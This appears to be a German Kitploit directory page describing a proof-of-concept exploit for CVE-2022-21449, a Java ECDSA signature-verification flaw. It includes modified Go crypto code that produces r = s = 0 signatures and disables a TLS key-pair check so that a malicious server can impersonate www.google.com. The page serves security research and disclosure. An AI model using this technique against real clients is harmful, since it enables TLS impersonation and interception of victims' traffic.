Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 Proof-of-Concept zur Demonstration seiner Verwendung mit einem Client auf einer angreifbaren Java-Version und einem bösartigen TLS-Server. | Kitploit
Tools/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
SchwachstellenanalyseExploitationWebsicherheitKryptographiePenetrationstests
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 Proof-of-Concept zur Demonstration seiner Verwendung mit einem Client auf einer angreifbaren Java-Version und einem bösartigen TLS-Server.

Repository anzeigen
1212431vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (auch als „Psychic Signatures“ in der Schwachstellenbeschreibung von Neil Madden bezeichnet) Proof of Concept, das die Nutzung mit einem angreifbaren Client und einem bösartigen TLS-Server demonstriert.

Der bösartige Server präsentiert eine (Stand 20.04.2022) gültige Zertifikatskette für www.google.com mit einem ECDSA-öffentlichen Schlüssel (secp256r1). Allerdings wurde das Paket crypto/ecdsa modifiziert, um eine ungültige Signatur mit r = s = 0 zu präsentieren. Der angreifbare Client akzeptiert diese ungültige Signatur, sodass der restliche TLS-Handshake fortgesetzt werden kann.

Abgesehen von den während des Bauens und der Erkundung entfernten *_test.go-Dateien waren diese Modifikationen an der golang crypto library für den bösartigen TLS-Server notwendig. Sie können auch durch Suchen/Grepping nach CVE-2022-21449 im Verzeichnis go/src gefunden werden.

Erstellen

Erfordert eine vorhandene Golang-Installation sowie Maven, dann führe ./build.sh aus.

Getestet auf Ubuntu 20.04.4 LTS (WSL2) mit OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Demo

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Modifikationen an der golang crypto library

In crypto/ecdsa/ecdsa.go wurde die Funktion signGeneric im Wesentlichen wie folgt modifiziert:

func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

Und in crypto/tls/tls.go wurde die Funktion X509KeyPair geändert, um Überprüfungen zu deaktivieren, ob ein gegebener privater Schlüssel mit dem öffentlichen Schlüssel des X.509-Zertifikats für ECDSA-öffentliche Schlüssel übereinstimmt:

// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Credits

  • Neil Madden: Entdeckung und Offenlegung von CVE-2022-21449, wie in seiner ausgezeichneten Beschreibung detailliert.
  • Khaled Nassar: Dieses PoC.
Tool herunterladen